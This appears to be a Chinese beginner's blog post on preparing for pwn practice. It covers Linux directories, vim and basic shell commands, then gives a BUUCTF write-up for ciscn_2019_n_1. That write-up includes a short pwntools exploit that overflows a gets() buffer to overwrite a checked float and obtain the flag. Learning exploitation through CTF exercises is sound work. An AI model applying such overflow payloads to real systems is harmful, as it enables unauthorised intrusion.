首先,先简单了解学习一下linux系统的常用的命令,因为pwn的学习基本在虚拟机里面进行,所以这很重要。
一:目录介绍
linux系统中一切皆文件
/bin
是binary的缩写,这个目录存放着最经常使用的命令,通过上方桌面可以看到bin文件夹有个箭头,是链接到 /usr/bin下,相当于快捷方式,进入/bin和/usr/bin下是一模一样的
/sbin
s就是super User的意思,这里存放的是系统管理员使用的系统管理程序。
/home
存放普通用户的主目录,在Linux中每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。
/root
该目录为系统管理员,也称为超级权限者的用户主目录。
/lib
系统开机所需要最基本的动态连接共享库,其作用类似于windows里的DLL文件。几乎所有的应用程序都需要用到这些共享库。
/etc
所有的系统管理所需要的配置文件和子目录。
/usr
这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于windows下的program fies目录。
/boot
这里存放的是启动linux时使用的一些核心文件,包括一些连接文件以及镜像文件,自己的安装别放这里。
/proc
这个目录是一个虚拟目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。
/srv
service缩写,该目录存放一些服务启动之后需要提取的数据。
/sys
这是linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现的一个文件系统sysfs。
/tmp
这个目录是用来存放一些临时文件的。
/dev
类似于windows的设备管理器,把所有的硬件用文件的形式存储。管理着所有设备,例如CPU、硬盘等等
/media
linux系统会自动识别一些设备,例如U盘、光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。
centos7迁移到/run/media
/mnt
系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将外部的存储挂载在/mnt上,然后进入该目录就可以查看里面的内容了。和media差不多
/opt
这是给主机额外安装软件所摆放的目录。比如你安装一个mysql数据库则就可以放在这个目录下。默认是空的。
/var
这个目录中存放着在不断扩充的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。
/lost+found
这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。
/www
/www目录可以用于存储Web应用程序或网站文件,/www目录没有特别的用途,它只是一个常规目录,可以根据需要进行使用和管理。
二:vi / vim编辑器
用户@主机名 组成, ~号代表当前目录位置,#号代表管理员用户,普通用户都是$号
VI 是 Unix 操作系统和类 Unix 操作系统中最通用的文本编辑器。VIM 编辑器是从 VI 发展出来的一个性能更强大的文本编辑器。可以主动的以字体颜色辨别语法的正确性,方便程序设计。VIM 与 VI 编辑器完全兼容。
模式转换
进来默认一般模式,想要编辑文本就按i进入编辑模式
vim常用语法:
一般模式:
编辑模式:
按『Esc』键 退出编辑模式,之后所在的模式为一般模式。
命令模式:
三:常用命令
1、文件目录类
1)、查看内核/操作系统/CPU信息
pwd
2)、ls 列出目录的内容
ls:列出当前目录中的文件和子目录。
ls -l:以长格式列出当前目录中的文件和子目录,包括文件权限、所有者、文件大小、修改日期等详细信息。
ls -a:列出当前目录中的所有文件和子目录,包括隐藏文件和目录。
ls -h:以人类可读的格式列出文件大小,例如,使用KB、MB、GB等单位。
ls -t:按修改时间排序列出文件和子目录,最新修改的文件和目录将显示在最上面。
ls -r:反向排序列出文件和子目录,即从最后一个文件或目录开始列出。
ls -R:递归列出当前目录及其子目录中的所有文件和子目录。
ls -i:显示每个文件和目录的inode号码。
ls [选项] [目录或是文件]
可以多个参数组合如:ls -al
每行列出的信息依次是: 文件类型与权限,链接数,文件属主,文件属组,文件大小用byte来表示,建立或最近修改的时间,名字
3)、cd 切换目录
4)、mkdir 创建一个新的目录 、 rmdir 删除一个空的目录
mkdir [选项] 要创建的目录
mkdir xiyou
mkdir -p xiyou/dssz/meihouwang # -p 创建多层目录
rmdir 要删除的空目录
rmdir xiyou/dssz/meihouwang
5)、touch 创建空文件
touch 文件名称
touch xiyou/dssz/sunwukong.txt
6)、cp 复制文件或目录
cp 源文件 目标文件
1)、复制文件
cp xiyou/dssz/suwukong.txt xiyou/mingjie/
2)、递归复制整改文件夹
参数 : -r 递归复制整个文件夹
cp -r xiyou/dssz/ ./
7)、rm 删除文件或目录
rm [选项] deleteFile (功能描述:递归删除目录中所有内容)
rm sunwukong.txt # 删除文件
rm -rf dssz/ # 递归删除目录中所有内容
8)、mv 移动文件与目录或重命名
mv 源文件 目标文件
(1)mv oldNameFile newNameFile (功能描述:重命名)
(2)mv /temp/movefile /targetFolder (功能描述:移动文件)
# 重命名
mv xiyou/dssz/suwukong.txt xiyou/dssz/houge.txt
# 移动文件
mv xiyou/dssz/houge.txt ./
9)、cat 查看文件内容
查看文件内容,从第一行开始显示。
一般查看比较小的文件,一屏幕能显示全的。
cat -n houge.txt # -n参数显示行号
10)、more 文件内容分屏查看器
more 要查看的文件
more nginx.conf
11)、less 分屏显示文件内容
less 指令用来分屏查看文件内容,它的功能与 more 指令类似,但是比 more 指令更加强大,支持各种显示终端。less 指令在显示文件内容时,并不是一次将整个文件加载之后才显示,而是根据显示需要加载内容,对于显示大型文件具有较高的效率。
less nginx.conf
.......还有很多,这里只是介绍了一些常用的命令
pwn栈溢出的例题:
ciscn_2019_n_1(Buuctf)
1.先checksec一下
NX不可执行,其余保护没有开启,shellcode方法不可用,不过没关系,这个题考点不在这里
2.IDA静态分析一下
虽然我们的main函数平平无奇,但是func函数可不得了system("cat/flag")后门都给你了,甚至还有个gets函数,想办法利用得了,我们的思路来到ret2text上面
main函数调用了func(),func中存在经典gets()漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125
方法一:地址覆盖
双击func()
二、构造exp
获取v2的值:
首先找到func函数的汇编页,我们看到ucomiss指令(这就是判定v2==11.28125的那一条)我们将鼠标放在dword_4007F4上面就可以看到11.28125对应的大小
或者双击dword_4007F4,进入以下页面
exp:
from pwn import*
v2=0x41348000
payload=b'A'*(0x30-0x04)+p64(v2)
io=remote('node5.buuoj.cn',29535)
io.sendline(payload)
io.interactive()
去虚拟机里面运行,运行结果:
flag{bf9863e7-31a6-493f-a1c8-d42fe15afcdf}